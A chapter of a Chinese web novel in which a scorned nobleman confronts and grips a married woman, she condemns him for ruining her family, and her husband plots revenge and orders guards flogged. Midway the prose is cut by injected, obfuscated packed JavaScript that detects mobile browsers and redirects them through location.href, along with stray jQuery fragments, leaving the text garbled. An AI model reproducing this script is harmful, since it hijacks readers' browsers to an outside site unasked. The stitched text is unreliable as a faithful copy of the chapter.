19. 不可理喻

作品:《汴京食野记

    “狗东西,我与夫君的闺阁之趣与你何干?你是嫌我被你害得还不够惨吗?收起你那套假仁假义,滚出去!”


    林知微就这么仰着脸逼视他,黝黑的眸里不见丝毫畏缩。


    宋凌昀被打得偏过头,左脸颊迅速浮起几道红痕。


    这一巴掌,将他骨子里的那点混不吝彻底扇了出来。他缓缓转过头,舌尖轻舔过唇角,竟低低地笑了起来。那笑声在寂静的雅间里荡开,带着几分被挠到痒处的兴奋。


    他就是喜欢她这幅乖顺皮子下的烈性。


    旁人哄他惧他,唯有她林知微,敢把巴掌往他脸上招呼。这让他觉得,自己在她眼里,终究是特殊的。


    “对,就是这样……”


    他盯着她,眼底的暴戾被一种病态的兴奋取代。


    “我就喜欢你这副牙尖爪利的样子!林知微,在我面前,你装什么温婉,装什么清高?”


    他猛地逼近,气息混着酒意喷在她脸上。


    “你骂我,恨我,证明你心里还有我!你气我跟吕家娘子定亲,是不是在嫉妒?嗯?你承认啊!”


    他竟将她的怒意曲解至此!


    吕家娘子对她的“警告”还历历在目。


    林知微气得浑身发抖:“你简直不可理喻!”


    “我不可理喻?”宋凌昀嗤笑,目光阴沉,“那你呢?宁愿去给一个瘫子冲喜,委身伺候一个活死人,就为了那点银钱和侯府的名头?林知微,你什么时候变得这么下贱了?!”


    这话恶毒至极,直往人心窝子里戳。


    林知微扬手欲再打,手腕却被他死死攥住。她挣扎了两下,徒劳无功,反而激得他力道更大。


    他享受着这种掌控感,仿佛这样就能证明,他仍是那个最了解她、最能牵动她情绪的人。


    那个躺在侯府里的病鬼,算什么东西?


    “你心里清楚,”他声音放低,温柔又残忍,“这世上最懂你这身硬骨头下面有多脆弱的人,是我!那个病鬼他知道你怕雷雨天吗?他知道你喜欢喝甜甜的饮子不喜食酸吗?他知道……你每次撒谎耳朵都会红吗?”


    他伸手欲碰她耳垂,林知微却没再躲。


    她只是静静地看着他,看着这个曾经让她心动的少年,如今变得如何面目可憎。她眼中的怒火渐渐熄灭,最终只剩下深深的疲倦与自嘲。


    “是,你都知道。”她的声音冷得可怕,仿佛在陈述与己无关的事。“所以你也最知道,该怎么毁了我。”


    她一字一句,将他给予的伤害摊开在光下。


    “你知道我阿哥寒窗十年就等秋闱,所以你让官府卡他文书;你知道我阿爹腿伤畏寒靠抚恤过活,所以你断他银钱……宋凌昀,你不是懂我,你是懂得怎么用我最在乎的东西,一刀一刀地凌迟我!”


    宋凌昀脸上的得意瞬间凝固。一丝慌乱掠过眼底。


    “我没有!”他下意识否认,“我只是想让你低头!我没想到他们会把事情做这么绝……”


    “没想到?”林知微捕捉到他那丝心虚,心彻底沉入谷底,“你一句‘没想到’,就能抵过我阿爹废掉的腿?能抵过我阿哥被毁掉的前程?宋凌昀,你的‘没想到’,比蓄谋已久更可恨!因为你从来就没把我们这些普通人的命当回事!”


    “哦,对了。”


    林知微像是忽然想起,语气轻慢却字字诛心。


    “我差点忘了。你宋世子当时,不也自身难保么?听说你最爱的那匹西域宝马‘追风’,莫名其妙就折了腿?你被伯爷禁足在家,连最常去的瓦子都去不成?怎么,你那位高权重的未婚妻,收拾起你来,手段也一样利落得很啊?”


    这话精准扎进他最难堪的痛处。


    他被吕家压制、被家族约束的狼狈,被她看得一清二楚。


    “是!我是没当回事!那又怎样?”他红着眼睛低吼,“我手段是脏,是狠!那是因为这汴京城就是个吃人的地方!我弄权,我使绊子,我习惯了踩着别人,护住我想护的人?这难道也是错吗?!”


    他声音嘶哑,猛地扯开本就松垮的交领,血水与冷汗在丝质中衣上氤氲出道道红痕,露出线条凌厉的锁骨与半边紧实的胸膛。他一把抓过她微凉的手,径直按在自己袒露的心口上。


    掌心下,是他剧烈的心跳,滚烫的皮肤,以及那皮开肉绽后,清晰无比的凸起与湿润。


    “为了你,我受了家法,跪在祠堂三天三夜,只为求父亲收回成命!为了你,我一手养大的‘追风’再也无法在草场驰骋!我被禁足,被夺权,被像条狗一样锁在家里……林知微,我为你做的这些,我烂成这样,你难道就一点也看不到吗?”


    “你清高,你了不起,可你终究是靠着委身另一个男人,才拥有了反抗我的资本。你看,我们分明一样痛,一样卑劣,这多公平……我们才是天造地设的一对。”


    林知微看着他的歇斯底里,心底最后一点波澜也归于沉寂。


    她的指尖在他滚烫的、布满伤痕的胸膛深深划过,让宋凌昀激起一阵战栗。


    “宋凌昀,你的爱是拉着我一起烂在泥里。而他,能让我干干净净地站在岸上,看着你们到底有多可笑,多可悲。”


    “你的爱,让人窒息。”


    心口钝痛,宋凌昀第一次如此清晰地觉得,自己是真的失去她了。


    他扯开衣襟,露出这身为她受的伤,是他最后的筹码。


    他太了解她了,她那样心软、护短,若她心里还有他半分,见到这斑驳伤痕,定会红了眼眶,那坚硬的外壳便会裂开一丝缝隙。可她只是冷眼瞧着,甚至不惜加深了他的痛苦。


    “之前的事……我会尽力补偿,你就不能原谅我吗?”


    他盯着她平静的眸光,再到那紧抿的双唇,喉结动了动,终是侧身让开出去的路。


    林知微垂眸拢好滑落的袖口,脚步微顿。


    “原是我不配。我不怪你,也不会原谅你。”


    她走出雅间,房门被重重关上。


    不配吗?他何时说过她不配了?他当初都解释了,纳她为妾只是权宜之计,伯府主母的位置迟早是她的……是她自己清高,不肯屈就!是了,定是她攀上了侯府的高枝,便觉得他不配了!


    他坐在窗边,仰头灌了一口冷酒,看着窗下林知微登上侯府的马车,墨色锦帘落下,彻底遮住了她的轮廓。</p


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16653747|186449||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >


    直到马车驶远,他才整理衣袖,起身大步离开。


    *


    夜色浓稠,内室未点灯,沈恕隐在黑暗中,听着来人禀告。


    拂尘的声音在暗处响起,事无巨细地禀报着夫人今日的行踪。


    当复述到林知微那句“我与夫君的闺阁之趣与你何干”时,黑暗中,沈恕的指尖在锦被上极轻地敲击了一下,似是无声的赞许。


    然而,随着拂尘毫无情绪地报出宋凌昀那些恶毒言语,以及他如何对林知微步步紧逼,甚至动手动脚……


    沈恕手背青筋凸起,发出一阵低咳嗽。


    他攥紧拳抵在唇边,整个肩背都在轻颤。待咳嗽稍歇,他摊开手掌,看着掌心,眼神阴鸷得能滴出水来。


    那枚常年佩戴的玉扳指,竟生出道清晰的裂痕。


    室内陷入死寂,空气仿佛都凝固了。拂尘的声音顿住,屏息垂首。


    “说下去。”


    良久,沈恕才开口。


    拂尘这才继续,直至说完林知微最后的反击与离去。


    “宋凌昀倒是越发荒唐了。”沈恕锦被下的指节蜷起,淡淡道:“把上半年永宁伯在漕运上挪用公款的账册,匿名送到御史台。”


    “是”


    “吕相近来身体愈发差了。找个由头,让吕公弼知晓,他未来女婿的这番‘深情告白’,已在有心人案头。”


    “是”


    “还有,”沈恕的声音骤然降至冰点,“今日跟着夫人的暗卫,护主不力,全部去刑堂领十鞭,让他们记住,夫人的安危,重过他们的性命。”


    “是!”拂尘心头一凛,深知这已是最轻的惩罚。


    另一边,林知微的马车刚驶进通济坊。


    她带着一身酒气归来,挥退下人,关上门,背脊刚抵上门板,强撑的力气仿佛瞬间被抽空。


    她仰起头,长长地、无声地吁出一口气,方才在宋凌昀面前竖起的全部尖刺,在此刻悄然软化、剥落,她先是沐浴修整一番,方静悄悄回到内室。


    细碎的脚步声响起,带来了外间一丝凉气,还有她身上沐浴后,混杂着温暖湿意的凛冽酒香。


    内室无光,月光透过窗棂洒落星星点点,落在一角的箱笼上。


    极轻的“咔哒”一声,盖子被打开,露出内里,一个小小的包袱,一封家书,还有一个灰扑扑的泡菜坛子。


    林知微掀开坛盖,伸手在里面陆陆续续掏出六个五十两的银铤,酒劲让她反应作慢了半拍,一二三四……来回数了三遍,才确定数量没错,笑眯眯松了口气。


    她接着摸出腰间的荷包,把里面一把小银铤“当啷”全都丢进坛里,铜钱也簌簌滚入,落在坛底发出细碎的响。


    这是全然忘了房内还有一人。


    沈恕透过屏风缝隙,看着他的夫人醉醺醺地数着她的“泡菜坛子”。他眼底刚泛起一丝纵容与暖意,却见她从坛底又摸出一物,借着微光,小心翼翼地托在掌心。


    那珍而重之的模样,居然比对待银钱更加上心。


    月光勾勒出那物件的四方轮廓,沈恕凝视着,目光倏地沉静下来。


    “回来了。”他出声提醒。